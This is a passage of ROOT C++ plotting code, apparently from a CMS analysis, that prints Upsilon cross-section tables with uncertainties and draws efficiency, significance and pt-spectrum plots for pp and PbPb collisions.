(Aet_2S_pythia_rap2014_muIDTrige[j]/Aet_2S_pythia_rap2014[j]) <<\" \\\\pm \"<<\n (Aet_2S_pythia_rap2014_STAe[j]/Aet_2S_pythia_rap2014[j]) <<\" \\\\pm \"<<\n (sqrt(pow(Aet_2S_pythia_rap2014e[j]/Aet_2S_pythia_rap2014[j],2)+(0.2/5.4)*(0.2/5.4))) <<\" & \" <<\n endl; \n// CS2S_pp_tnp_rap2014[j]*\n// CS2S_pp_tnp_rap2014[j]*\n// CS2S_pp_tnp_rap2014[j]*\n\n }\n\nstd::cout << \" --- 3S Cross section in pp vs. pt short bins---\" << endl;\n for(int j =0 ; j<nPtBins_2013 ; j++)\n {\n // std::cout <<\"j= \"<< (binsPt[j]).c_str() << \" & \" << CS3S_pp_tnp_pt2013[j] <<\" \\\\pm \"<<CS3S_pp_tnp_pt2013e[j]<<\" \\\\pm \"<<CS3S_pp_tnp_pts[j]<<\" &\" << endl;\n std::cout <<\"j= \"<< (binsPt[j]).c_str() << \" & \" << setprecision(3) << CS3S_pp_tnp_pt2013[j] <<\" \\\\pm \"<<\n CS3S_pp_tnp_pt2013e[j]/CS3S_pp_tnp_pt2013[j] <<\" \\\\pm \"<<\n syst3S_pp_pt[j] <<\" \\\\pm \"<<\n (Aet_3S_pythia_pt2013_muIDTrige[j]/Aet_3S_pythia_pt2013[j]) <<\" \\\\pm \"<<\n (Aet_3S_pythia_pt2013_STAe[j]/Aet_3S_pythia_pt2013[j]) <<\" \\\\pm \"<<\n (sqrt(pow(Aet_3S_pythia_pt2013e[j]/Aet_3S_pythia_pt2013[j],2)+(0.2/5.4)*(0.2/5.4))) <<\" & \" <<\n endl;\n\n// CS3S_pp_tnp_pt2013[j]*\n// CS3S_pp_tnp_pt2013[j]*\n// CS3S_pp_tnp_pt2013[j]*\n }\n\nstd::cout << \" --- 3S Cross section in pp vs. y short bins---\" << endl;\n for(int j =0 ; j<nRapBins_2014 ; j++)\n {\n // std::cout <<\"j= \"<< (binsRap[j]).c_str() << \" & \" << CS3S_pp_tnp_rap2014[j] <<\" \\\\pm \"<<CS3S_pp_tnp_rap2014e[j]<<\" \\\\pm \"<<CS3S_pp_tnp_rap2014s[j]<<\" &\" << endl; \n std::cout <<\"j= \"<< (binsRap[j]).c_str() << \" & \" << setprecision(3) << CS3S_pp_tnp_rap2014[j] <<\" \\\\pm \"<<\n CS3S_pp_tnp_rap2014e[j]/CS3S_pp_tnp_rap2014[j] <<\" \\\\pm \"<<\n syst3S_pp_rap[j] <<\" \\\\pm \"<<\n (Aet_3S_pythia_rap2014_muIDTrige[j]/Aet_3S_pythia_rap2014[j]) <<\" \\\\pm \"<<\n (Aet_3S_pythia_rap2014_STAe[j]/Aet_3S_pythia_rap2014[j]) <<\" \\\\pm \"<<\n (sqrt(pow(Aet_3S_pythia_rap2014e[j]/Aet_3S_pythia_rap2014[j],2)+(0.2/5.4)*(0.2/5.4))) <<\" & \" <<\n endl; \n// CS3S_pp_tnp_pt2013[j]*\n// CS3S_pp_tnp_pt2013[j]*\n// CS3S_pp_tnp_pt2013[j]*\n }\n ///plotting TNP corrections vs pt, rap, cent.\n if(plotTNP){\n float et_1S_pyquen_pt[nPtBins_2013]={};\n float et_1S_pythia_pt[nPtBins_2013]={};\n for(int i=0; i<nPtBins_2013;i++){\n // et_1S_pyquen_pt[i]=Aet_1S_pyquen_pt[i]/A_1S_pyquen_pt[i];\n // et_1S_pythia_pt[i]=Aet_1S_pythia_pt[i]/A_1S_pythia_pt3p5[i];\n et_1S_pyquen_pt[i]=e_1S_pyquen_pt[i]*t_1S_pyquen_pt3p5[i]; \n et_1S_pythia_pt[i]=e_1S_pythia_pt3p5[i]*t_1S_pythia_pt3p5[i];\n\n }\n TCanvas *cTNP = new TCanvas(\"cTNP\",\"cTNP\");\n cTNP->cd();\n TPad *pTNP = new TPad(\"pTNP\",\"pTNP\",0.0,0.0,1.0,1.0);\n // pSignificance1->SetBottomMargin(0.12);\n // pSignificance1->SetTopMargin(0.03);\n // pSignificance1->SetRightMargin(0.03);\n // pSignificance1->SetLeftMargin(0.16);\n // pSignificance1->SetLogy();\n TF1 *f4Significance = new TF1(\"f4Significance\",\"1\",0,20);\n f4Significance->SetLineWidth(0);\n f4Significance->GetYaxis()->SetTitleOffset(1.05);\n f4Significance->GetYaxis()->SetRangeUser(0,1);\n f4Significance->GetXaxis()->SetTitle(\"p_{T}^{#mu#mu}\");\n f4Significance->GetXaxis()->SetTitleSize(0.048);\t\t\n f4Significance->GetYaxis()->SetTitle(\"Efficiency\");\n f4Significance->GetYaxis()->SetTitleSize(0.048);\n f4Significance->GetXaxis()->CenterTitle(kTRUE);\n f4Significance->Draw();\n\n TGraph *g1AA = new TGraph(nPtBins_2013,ptShift,et_1S_pyquen_pt);\n g1AA->SetMarkerColor(kBlue);\n g1AA->SetMarkerStyle(22);\n g1AA->SetMarkerSize(1.4);\n g1AA->Draw(\"pe\");\n\n TGraph *g1pp = new TGraph(nPtBins_2013,pt,et_1S_pythia_pt);\n g1pp->SetMarkerColor(kRed);\n g1pp->SetMarkerStyle(22);\n g1pp->SetMarkerSize(1.4);\n g1pp->Draw(\"pe\");\n\n TGraph *g1AA_noCorr = new TGraph(nPtBins_2013,ptShift,e_1S_pyquen_pt);\n g1AA_noCorr->SetMarkerColor(kBlue);\n g1AA_noCorr->SetMarkerStyle(20);\n g1AA_noCorr->SetMarkerSize(1.4);\n g1AA_noCorr->Draw(\"pe\");\n\n TGraph *g1pp_noCorr = new TGraph(nPtBins_2013,pt,e_1S_pythia_pt3p5);\n g1pp_noCorr->SetMarkerColor(kRed);\n g1pp_noCorr->SetMarkerStyle(20);\n g1pp_noCorr->SetMarkerSize(1.4);\n g1pp_noCorr->Draw(\"pe\");\n \n TLegend *legend = new TLegend(0.45,0.3,0.88,0.45);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(g1pp_noCorr,\"#varUpsilon(1S) pp Reco, MC truth\",\"pe\");\n legend->AddEntry(g1pp,\"#varUpsilon(1S) pp Reco, T&P corrected \",\"pe\");\n legend->AddEntry(g1AA_noCorr,\"#varUpsilon(1S) HI Reco, MC truth\",\"pe\");\n legend->AddEntry(g1AA,\"#varUpsilon(1S) HI Reco, T&P corrected \",\"pe\");\n\n \n legend->Draw();\n cTNP->SaveAs(basedir1 + TString(\"/TnPCorrection_Pt.png\"));\n cTNP->SaveAs(basedir2 + TString(\"/TnPCorrection_Pt.pdf\"));\n\n float et_1S_pyquen_rap2014[nRapBins_2014]={};\n float et_1S_pythia_rap2014[nRapBins_2014]={};\n for(int i=0; i<nRapBins_2014;i++){\n // et_1S_pyquen_rap2014[i]=Aet_1S_pyquen_rap2014[i]/A_1S_pyquen_rap2014[i];\n // et_1S_pythia_rap2014[i]=Aet_1S_pythia_rap2014[i]/A_1S_pythia_rap3p5[i];\n et_1S_pyquen_rap2014[i]=e_1S_pyquen_rap2014[i]*t_1S_pyquen_rap3p5[i];\n et_1S_pythia_rap2014[i]=e_1S_pythia_rap3p5[i]*t_1S_pythia_rap3p5[i];\n\n }\n TCanvas *cTNP2 = new TCanvas(\"cTNP2\",\"cTNP2\");\n cTNP2->cd();\n TPad *rapNP = new TPad(\"rapNP\",\"rapNP\",0.0,0.0,1.0,1.0);\n // pSignificance1->SetBottomMargin(0.12);\n // pSignificance1->SetTopMargin(0.03);\n // pSignificance1->SetRightMargin(0.03);\n // pSignificance1->SetLeftMargin(0.16);\n // pSignificance1->SetLogy();\n TF1 *f5Significance = new TF1(\"f5Significance\",\"1\",0,2.4);\n f5Significance->SetLineWidth(0);\n f5Significance->GetYaxis()->SetTitleOffset(1.05);\n f5Significance->GetYaxis()->SetRangeUser(0,1);\n f5Significance->GetXaxis()->SetTitle(\"y\");\t\n f5Significance->GetXaxis()->SetTitleSize(0.048);\t\n f5Significance->GetYaxis()->SetTitle(\"Efficiency\");\n f5Significance->GetYaxis()->SetTitleSize(0.048);\n f5Significance->GetXaxis()->CenterTitle(kTRUE);\n f5Significance->Draw();\n\n g1AA = new TGraph(nRapBins_2014,rap2014Shift,et_1S_pyquen_rap2014);\n g1AA->SetMarkerColor(kBlue);\n g1AA->SetMarkerStyle(22);\n g1AA->SetMarkerSize(1.4);\n g1AA->Draw(\"pe\");\n\n g1pp = new TGraph(nRapBins_2014,rap2014,et_1S_pythia_rap2014);\n g1pp->SetMarkerColor(kRed);\n g1pp->SetMarkerStyle(22);\n g1pp->SetMarkerSize(1.4);\n g1pp->Draw(\"pe\");\n\n g1AA_noCorr = new TGraph(nRapBins_2014,rap2014Shift,e_1S_pyquen_rap2014);\n g1AA_noCorr->SetMarkerColor(kBlue);\n g1AA_noCorr->SetMarkerStyle(20);\n g1AA_noCorr->SetMarkerSize(1.4);\n g1AA_noCorr->Draw(\"pe\");\n\n g1pp_noCorr = new TGraph(nRapBins_2014,rap2014,e_1S_pythia_rap3p5);\n g1pp_noCorr->SetMarkerColor(kRed);\n g1pp_noCorr->SetMarkerStyle(20);\n g1pp_noCorr->SetMarkerSize(1.4);\n g1pp_noCorr->Draw(\"pe\");\n \n legend = new TLegend(0.45,0.3,0.88,0.45);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(g1pp_noCorr,\"#varUpsilon(1S) pp Reco, MC truth\",\"pe\");\n legend->AddEntry(g1pp,\"#varUpsilon(1S) pp Reco, T&P corrected \",\"pe\");\t\t\t \n legend->AddEntry(g1AA_noCorr,\"#varUpsilon(1S) HI Reco, MC truth\",\"pe\");\n legend->AddEntry(g1AA,\"#varUpsilon(1S) HI Reco, T&P corrected \",\"pe\");\n\n legend->Draw();\n cTNP2->SaveAs(basedir1 + TString(\"/TnPCorrection_Rap.png\"));\n cTNP2->SaveAs(basedir2 + TString(\"/TnPCorrection_Rap.pdf\"));\n }\n if(plotSignificance)\n {\n \n TCanvas *cSignificance = new TCanvas(\"cSignficance\",\"cSignificance\"); \n cSignificance->cd();\n TPad *pSignificance1 = new TPad(\"pSignificance1\",\"pSignificance1\",0.0,0.0,1.0,1.0);\n pSignificance1->SetBottomMargin(0.12);\n pSignificance1->SetTopMargin(0.03);\n pSignificance1->SetRightMargin(0.03);\n pSignificance1->SetLeftMargin(0.16);\n // pSignificance1->SetLogy();\n pSignificance1->Draw();\n pSignificance1->cd();\n TF1 *f6Significance = new TF1(\"f6Significance\",\"0\",0,5);\n f6Significance->SetLineWidth(0);\n f6Significance->GetYaxis()->SetTitleOffset(1.5);\n f6Significance->GetYaxis()->SetRangeUser(0,35);\n f6Significance->GetXaxis()->SetTitle(\"Pt Bin Number\");\t\t\n f6Significance->GetYaxis()->SetTitle(\"Significance\");\n f6Significance->GetYaxis()->SetTitleSize(0.038);\n f6Significance->GetXaxis()->CenterTitle(kTRUE);\n f6Significance->Draw();\n\n TGraph *g1 = new TGraph(nPtBins_2013,fiveBins,SigOverErr_ppPt1S3p5);\n g1->SetMarkerColor(kBlue);\n g1->SetMarkerStyle(21);\n g1->SetMarkerSize(2);\n g1->Draw(\"pe\");\n\n TGraph *g2 = new TGraph(nPtBins_2013,fiveBins,SigOverErr_aaPt1S3p5);\n g2->SetMarkerColor(color1Sraa);\n g2->SetMarkerStyle(21);\n g2->SetMarkerSize(2);\n g2->Draw(\"pe\");\n \n TGraph *g3 = new TGraph(nPtBins_2013,fiveBins,SigOverErr_ppPt1S4);\n g3->SetMarkerColor(kBlue);\n g3->SetMarkerStyle(29);\n g3->SetMarkerSize(2);\n g3->Draw(\"pe\");\n\n TGraph *g4 = new TGraph(nPtBins_2013,fiveBins,SigOverErr_aaPt1S4);\n g4->SetMarkerColor(color1Sraa);\n g4->SetMarkerStyle(29);\n g4->SetMarkerSize(2);\n g4->Draw(\"pe\");\n\n legend = new TLegend(0.6,0.7,0.8,0.9);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(g1,\"1S pp vs pT, loose\",\"pe\");\n legend->AddEntry(g3,\"1S pp vs pT, tight\",\"pe\");\n legend->AddEntry(g2,\"1S PbPb vs pT, loose\",\"pe\");\n legend->AddEntry(g4,\"1S PbPb vs pT, tight\",\"pe\");\n legend->Draw();\n cSignificance->SaveAs(basedir1 + TString(\"/cSignificance_Pt.png\"));\n cSignificance->SaveAs(basedir2 + TString(\"/cSignificance_Pt.pdf\"));\n \n TCanvas *cSignificance2 = new TCanvas(\"cSignficance2\",\"cSignificance2\"); \n cSignificance2->cd();\n TPad *pSignificance2 = new TPad(\"pSignificance2\",\"pSignificance2\",0.0,0.0,1.0,1.0);\n pSignificance2->SetBottomMargin(0.12);\n pSignificance2->SetTopMargin(0.03);\n pSignificance2->SetRightMargin(0.03);\n pSignificance2->SetLeftMargin(0.16);\n // pSignificance2->SetLogy();\n pSignificance2->Draw();\n pSignificance2->cd();\n TF1 *f7Significance = new TF1(\"f7Significance\",\"3\",0,6);\n f7Significance->SetLineWidth(0);\n f7Significance->GetYaxis()->SetTitleOffset(1.5);\n f7Significance->GetYaxis()->SetRangeUser(0,35);\n f7Significance->GetXaxis()->SetTitle(\"Rap Bin Number\");\t\t\n f7Significance->GetYaxis()->SetTitle(\"Significance\");\n f7Significance->GetYaxis()->SetTitleSize(0.038);\n f7Significance->GetXaxis()->CenterTitle(kTRUE);\n f7Significance->Draw();\n TGraph *g5 = new TGraph(nRapBins_2014,sixBins,SigOverErr_ppRap1S3p5);\n g5->SetMarkerColor(kBlue);\n g5->SetMarkerStyle(21);\n g5->SetMarkerSize(2);\n g5->Draw(\"pe\");\n\n TGraph *g6 = new TGraph(nRapBins_2014,sixBins,SigOverErr_aaRap1S3p5);\n g6->SetMarkerColor(color1Sraa);\n g6->SetMarkerStyle(21);\n g6->SetMarkerSize(2);\n g6->Draw(\"pe\");\n \n TGraph *g7 = new TGraph(nRapBins_2014,sixBins,SigOverErr_ppRap1S4);\n g7->SetMarkerColor(kBlue);\n g7->SetMarkerStyle(29);\n g7->SetMarkerSize(2);\n g7->Draw(\"pe\");\n\n TGraph *g8 = new TGraph(nRapBins_2014,sixBins,SigOverErr_aaRap1S4);\n g8->SetMarkerColor(color1Sraa);\n g8->SetMarkerStyle(29);\n g8->SetMarkerSize(2);\n g8->Draw(\"pe\");\n\n legend = new TLegend(0.65,0.7,0.85,0.9);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(g5,\"1S pp vs y, loose\",\"pe\");\n legend->AddEntry(g7,\"1S pp vs y, tight\",\"pe\");\n legend->AddEntry(g6,\"1S PbPb vs y, loose\",\"pe\");\n legend->AddEntry(g8,\"1S PbPb vs y, tight\",\"pe\");\n legend->Draw();\n cSignificance2->SaveAs(basedir1 + TString(\"/cSignificance_Rap.png\"));\n cSignificance2->SaveAs(basedir2 + TString(\"/cSignificance_Rap.pdf\"));\n }\n if(plotCS){\n ////////////////////////////////////////////////////////////////\n /// drawing Pt-binned Data\n ////////////////////////////////////////////////////////////////\n \n TCanvas *cpt = new TCanvas(\"cpt\",\"cpt\"); \n cpt->cd();\n TPad *ppt1 = new TPad(\"ppt1\",\"ppt1\",0.0,0.0,1.0,1.0);\n ppt1->SetBottomMargin(0.12);\n ppt1->SetTopMargin(0.03);\n ppt1->SetRightMargin(0.03);\n ppt1->SetLeftMargin(0.16);\n ppt1->SetLogy();\n ppt1->Draw();\n ppt1->cd();\n TF1 *f4Pt = new TF1(\"f4Pt\",\"0.4\",0,21);\n f4Pt->SetLineWidth(0);\n f4Pt->GetYaxis()->SetTitleOffset(1.5);\n f4Pt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\t\t\n f4Pt->GetYaxis()->SetTitle(\"(#frac{1}{L_{pp}}, #frac{1}{T_{AA}N_{MB}})#frac{d^{2}N}{A#varepsilon dy dp_{T}} [nb/(GeV/c)]\");\n // f4Pt->GetYaxis()->SetTitle(\"#sigma(#varUpsilon #rightarrow #mu^{+}#mu^{-1}) (b)\");\n f4Pt->GetYaxis()->SetTitleSize(0.038);\n f4Pt->GetYaxis()->SetRangeUser(0.0002,0.4);\n f4Pt->GetXaxis()->CenterTitle(kTRUE);\n f4Pt->Draw();\n /// one pad to draw PbPb yields,\n TGraphErrors *gpt1 = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_pt,0,CS1S_aa_pte);\n gpt1->SetMarkerColor(color1Saa);\n gpt1->SetMarkerStyle(33);\n gpt1->SetMarkerSize(2);\n TGraphErrors *gpt1circle = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_pt,0,CS1S_aa_pte);\n gpt1circle->SetMarkerStyle(27);\n gpt1circle->SetMarkerSize(2);\n gpt1circle->SetLineColor(kBlack);\n if(!plotTNP){ gpt1->Draw(\"pe\");\n gpt1circle->Draw(\"p\");}\n // f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n TGraphErrors *gpt1pp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_pt,0,CS1S_pp_pte);\n gpt1pp->SetMarkerColor(color1Spp);\n gpt1pp->SetMarkerStyle(21);\n gpt1pp->SetMarkerSize(1.2);\n TGraphErrors *gpt1circlepp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_pt,0,CS1S_pp_pte);\n gpt1circlepp->SetMarkerStyle(21);\n gpt1circlepp->SetMarkerSize(1.2);\n gpt1circlepp->SetLineColor(kBlack);\n if(!plotTNP){ gpt1pp->Draw(\"pe\");\n gpt1circlepp->Draw(\"p\");}\n //f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n\n ///tnp comparison\n if(plotTNP){\n TGraphErrors *gPt1syst = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_tnp_pt,pte,CS1S_aa_tnp_pts);\n gPt1syst->SetLineColor(color1Saa);\n gPt1syst->SetFillStyle(0);\n gPt1syst->SetLineWidth(2);\n gPt1syst->SetMarkerSize(0);\n gPt1syst->Draw(\"2\");\n TGraphErrors *gPt1ppsyst = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_tnp_pt,pte,CS1S_pp_tnp_pts);\n gPt1ppsyst->SetLineColor(color1Spp);\n gPt1ppsyst->SetFillStyle(0);\n gPt1ppsyst->SetLineWidth(2);\n gPt1ppsyst->SetMarkerSize(0);\n gPt1ppsyst->Draw(\"2\");\n TGraphErrors *gpt1TNP = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_tnp_pt,0,CS1S_aa_tnp_pte);\n gpt1TNP->SetMarkerColor(color1Saa);\n gpt1TNP->SetMarkerStyle(21);\n gpt1TNP->SetMarkerSize(1.2);\n TGraphErrors *gpt1TNPcircle = new TGraphErrors(nPtBins_2013,pt,CS1S_aa_tnp_pt,0,CS1S_aa_tnp_pte);\n gpt1TNPcircle->SetMarkerStyle(25);\n gpt1TNPcircle->SetMarkerSize(1.2);\n gpt1TNPcircle->SetLineColor(kBlack);\n gpt1TNP->Draw(\"pe\");\n double mean_pp = gpt1TNP->GetMean(1);\n gpt1TNPcircle->Draw(\"p\");\n // f4Pt->Draw(\"same\");\n gPad->RedrawAxis();\n TGraphErrors *gpt1TNPpp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_tnp_pt,0,CS1S_pp_tnp_pte);\n gpt1TNPpp->SetMarkerColor(color1Spp);\n gpt1TNPpp->SetMarkerStyle(21);\n gpt1TNPpp->SetMarkerSize(1.2);\n TGraphErrors *gpt1TNPcirclepp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_tnp_pt,0,CS1S_pp_tnp_pte);\n gpt1TNPcirclepp->SetMarkerStyle(25);\n gpt1TNPcirclepp->SetMarkerSize(1.2);\n gpt1TNPcirclepp->SetLineColor(kBlack);\n gpt1TNPpp->Draw(\"pe\");\n double mean_hi = gpt1TNPpp->GetMean(1);\n gpt1TNPcirclepp->Draw(\"p\");\n //f4Pt->Draw(\"same\");\n gPad->RedrawAxis(); \n }\n legend = 0;\n TLegend *legend = new TLegend(0.7,0.55,0.9,0.7);\n legend->SetTextSize(0.029);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n if(!plotTNP){ legend->AddEntry(gpt1pp,\"#varUpsilon(1S), pp \",\"pe\");\n legend->AddEntry(gpt1,\"#varUpsilon(1S), PbPb \",\"pe\");}\n if(plotTNP){\n legend->AddEntry(gpt1TNPpp,\"#varUpsilon(1S) pp\",\"pe\");\n legend->AddEntry(gpt1TNP,\"#varUpsilon(1S) PbPb\",\"pe\");\n\n\n cout << mean_pp << \" is the mean of 1S AA spectrum\"<< endl;\n \n cout << mean_hi << \" is the mean of 1S pp spectrum\"<< endl;\n \n } \n legend->Draw();\n TLatex *l1CMSpt = new TLatex(8,0.2, \"CMS Internal #sqrt{s_{NN}} = 2.76 TeV\");\n // TLatex *l1CMSpt = new TLatex(12,2e-10, \"CMS internal\");\n l1CMSpt->SetTextFont(42);\n l1CMSpt->SetTextSize(0.038);\n l1CMSpt->Draw();\n TLatex *lyL= new TLatex(3,0.004,\"L_{PbPb} = 166 #mub^{-1}\");\n lyL->SetTextFont(42);\n lyL->SetTextSize(0.032);\n lyL->DrawLatex(3,0.002,\"L_{pp} = 5.4 pb^{-1}\");\n lyL->DrawLatex(3,0.001,\"|y| < 2.4\");\n lyL->Draw();\n\n cpt->SaveAs(basedir2 + TString(\"/CS1S_ppAAPt.pdf\"));\n cpt->SaveAs(basedir1 + TString(\"/Xsection_ppAA_1S_pt.png\"));\n //Unfolding unfolding!\n // TCanvas *cUnfold = new TCanvas(\"cUnfold\",\"cUnfold\"); \n // cUnfold->cd();\n // TPad *pUnfold1 = new TPad(\"pUnfold1\",\"pUnfold1\",0.0,0.0,1.0,1.0);\n // pUnfold1->SetBottomMargin(0.12);\n // pUnfold1->SetTopMargin(0.03);\n // pUnfold1->SetRightMargin(0.03);\n // pUnfold1->SetLeftMargin(0.12);\n // pUnfold1->SetLogy();\n // pUnfold1->Draw();\n // pUnfold1->cd();\n // //f4Unfold->GetYaxis()->SetRangeUser(0.01,.09);\n // TGraphErrors *gpt1unfoldpp = new TGraphErrors(nPtBins_2013,pt,CS1S_pp_pt,pte,CS1S_pp_pte);\n // gpt1unfoldpp->SetMarkerStyle(25);\n // gpt1unfoldpp->SetMarkerSize(1.22);\n // gpt1unfoldpp->SetLineColor(kBlack);\n // gpt1unfoldpp->Draw(\"p\");\n // gPad->RedrawAxis();\n\n TCanvas *cptaa = new TCanvas(\"cptaa\",\"cptaa\"); \n cptaa->SetLogy();\n cptaa->cd();\n TF1 *f4Ptaa = new TF1(\"f4Ptaa\",\"0.4\",0,20);\n f4Ptaa->SetLineWidth(0);\n f4Ptaa->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\t\t\n f4Ptaa->GetYaxis()->SetTitle(\" #frac{1}{T_{AA}} #frac{dN}{#Deltay dp_{T}} [nb/(GeV/c)]\");\n // f4Ptaa->GetYaxis()->SetTitle(\"#sigma(#varUpsilon #rightarrow #mu^{+}#mu^{-1}) (b)\");\n f4Ptaa->GetYaxis()->SetRangeUser(1e-4,0.1);\n f4Ptaa->GetXaxis()->CenterTitle(kTRUE);\n f4Ptaa->GetXaxis()->SetTitleSize(0.045);\n f4Ptaa->GetXaxis()->SetTitleOffset(f4Ptaa->GetXaxis()->GetTitleOffset()*1.3);\n f4Ptaa->GetYaxis()->SetLabelSize(0.9*f4Ptaa->GetYaxis()->GetLabelSize()); // cheating a little bit because the Y axis title is fat\n f4Ptaa->GetYaxis()->SetTitleSize(0.04);\n f4Ptaa->GetYaxis()->SetTitleOffset(1.8);\n f4Ptaa->Draw();\n gPt1syst->Draw(\"2\");\n gpt1TNP->Draw(\"pe\");\n double mean_aa1=gpt1TNP->GetMean(1);\n gpt1TNPcircle->Draw(\"p\");\n TGraphErrors *gPt2syst = new TGraphErrors(nPtBins_2010,pt2010,CS2S_aa_pt,pt2010e,CS2S_aa_pts);\n gPt2syst->SetLineColor(color2Saa);\n gPt2syst->SetFillStyle(0);\n gPt2syst->SetLineWidth(2);\n gPt2syst->SetMarkerSize(0);\n gPt2syst->Draw(\"2\");\n TGraphErrors *gpt2TNP = new TGraphErrors(nPtBins_2010,pt2010,CS2S_aa_pt,0,CS2S_aa_pte);\n gpt2TNP->SetMarkerColor(color2Saa);\n gpt2TNP->SetMarkerStyle(20);\n gpt2TNP->SetMarkerSize(1.2);\n double mean_aa2 = gpt2TNP->GetMean(1);\n // cout << mean_aa1 << endl;\n // cout << mean_aa2 << endl;\n TGraphErrors *gpt2TNPcircle = new TGraphErrors(nPtBins_2010,pt2010,CS2S_aa_pt,0,CS2S_aa_pte);\n gpt2TNPcircle->SetMarkerStyle(24);\n gpt2TNPcircle->SetMarkerSize(1.2);\n gpt2TNPcircle->SetLineColor(kBlack);\n gpt2TNP->Draw(\"pe\");\n gpt2TNPcircle->Draw(\"p\");\n f4Ptaa->Draw(\"same\");\n legend = new TLegend(0.20,0.17,0.35,0.32);\n legend->SetTextSize(gTextSize);\n legend->SetFillStyle(0);\n legend->SetFillColor(0);\n legend->SetBorderSize(0);\n legend->SetTextFont(42);\n legend->AddEntry(gpt1TNP,\"#varUpsilon(1S)\",\"pe\");\n legend->AddEntry(gpt2TNP,\"#varUpsilon(2S)\",\"pe\");\n legend->Draw();\n cptaa->cd();\n \n // Cent. 0-100%, |y| < 2.4\n TLatex latexpt;\n latexpt.SetTextSize(gTextSize);\n latexpt.SetTextFont(42);\n TLatex* latexpty = latexpt.DrawLatex(15.5,0.015,\"|y| < 2.4\");\n TLatex *latexptcent = latexpt.DrawLatex(13.3,0.009,\"Cent. 0-100%\");\n\n CMS_lumi(cptaa,101,33);\n cptaa->Update();\n cptaa->RedrawAxis();\n cptaa->GetFrame()->Draw();\n \n cptaa->SaveAs(basedir2 + TString(\"/CS_AAPt.pdf\"));\n cptaa->SaveAs(basedir1 + TString(\"/Xsection_AA_1S_pt.png\"));\n if (plotLin)\n {\n cptaa->SetLogy(0);\n legend->SetX1NDC(0.73); legend->SetX2NDC(0.88); legend->SetY1NDC(0.37); legend->SetY2NDC(0.52); legend->Draw();\n cptaa->cd();\n gPad->Update();\n f4Ptaa->GetYaxis()->SetRangeUser(0.,0.05);\n f4Ptaa->GetYaxis()->SetTitleOffset(2.1);\n f4Ptaa->GetYaxis()->SetTitleSize(0.035);\n f4Ptaa->GetYaxis()->SetLabelSize(0.04);\n latexpty->SetY(0.034);\n latexpty->Draw();\n latexptcent->SetY(0.03);\n latexptcent->Draw();\n gPad->Update();\n gPad->RedrawAxis();\n gPad->GetFrame()->Draw();\n cptaa->SaveAs(basedir2 + TString(\"/CS_AAPt_lin.pdf\"));\n cptaa->SaveAs(basedir1 + TString(\"/Xsection_AA_1S_pt_lin.png\"));\n } \n //////////\n // pp\n TCanvas *cptpp = new TCanvas(\"cptpp\",\"cptpp\"); \n cptpp->SetLogy();\n cptpp->cd();\n TF1 *f4Pt = new TF1(\"f4Pt\",\"10\",0,20);\n f4Pt->SetLineWidth(0);\n // f4Pt->GetYaxis()->SetTitleOffset(1.5);\n f4Pt->GetXaxis()->SetTitle(\"p_{T}^{#varUpsilon} (GeV/c)\");\t\t\n f4Pt->GetYaxis()->SetTitle(\"#frac{1}{#Deltay} #frac{d#sigma}{dp_{T}} [nb/ GeV/c]\");\n\n f4Pt->GetXaxis()->SetTitleSize(0.045);\n f4Pt->GetXaxis()->SetTitleOffset(f4Pt->GetXaxis()->GetTitleOffset()*1.3);\n f4Pt->GetYaxis()->SetTitleSize(0.045);\n f4Pt->GetYaxis()->SetLabelSize(0.9*f4Pt->GetYaxis()->GetLabelSize()); // Y axis title is fat\n f4Pt->GetYaxis()->SetTitleOffset(1.55);\n f4Pt->GetYaxis()->SetRangeUser(0.0005,0.2);\n //f4Pt->GetYaxis()->SetRangeUser(0.01,.09);\n f4Pt->GetXaxis()->CenterTitle(kTRUE);\n f4Pt->Draw();\n \n if(plotTNP){///should be always true now!\n TGraphErrors *gPt2ppsyst = new TGraphErrors(nPtBins_2013,pt,CS2S_pp_tnp_pt2013,pte,CS2S_pp_tnp_pts);\n gPt2ppsyst->SetLineColor(color2Spp);\n gPt2ppsyst->SetFillStyle(0);\n gPt2ppsyst->SetLineWidth(2);\n gPt2ppsyst->SetMarkerSize(0);\n gPt2ppsyst->Draw(\"2\");\n TGraphErrors *gpt2TNPpp = new TGraphErrors(nPtBins_2013,pt,CS2S_pp_tnp_pt2013,0,CS2S_pp_tnp_pt2013e);\n gpt2TNPpp->SetMarkerColor(color2Spp);\n gpt2TNPpp->SetMarkerStyle(20);\n gpt2TNPpp->SetMarkerSize(1.2);\n TGraphErrors *gpt2TNPcirclepp = new TGraphErrors(nPtBins_2013,pt,CS2S_pp_tnp_pt2013,0,CS2S_pp_tnp_pt2013e);\n gpt2TNPcirclepp->SetMarkerStyle(24);\n gpt2TNPcirclepp->SetMarkerSize(1.2);\n gpt2TNPcirclepp->SetLineColor(kBlack);\n gpt2TNPpp->Draw(\"pe\");\n\n gpt2TNPcirclepp->Draw(\"p\");\n //f4Pt->Draw(\"same\");\n gPad->RedrawAxis(); \n TGraphErrors *gPt3ppsyst = new TGraphErrors(nPtBins_2013,pt,CS3S_pp_tnp_pt2013,pte,CS3S_pp_tnp_pts);\n gPt3ppsyst->SetLineColor(color3Spp);\n gPt3ppsyst->SetFillStyle(0);\n 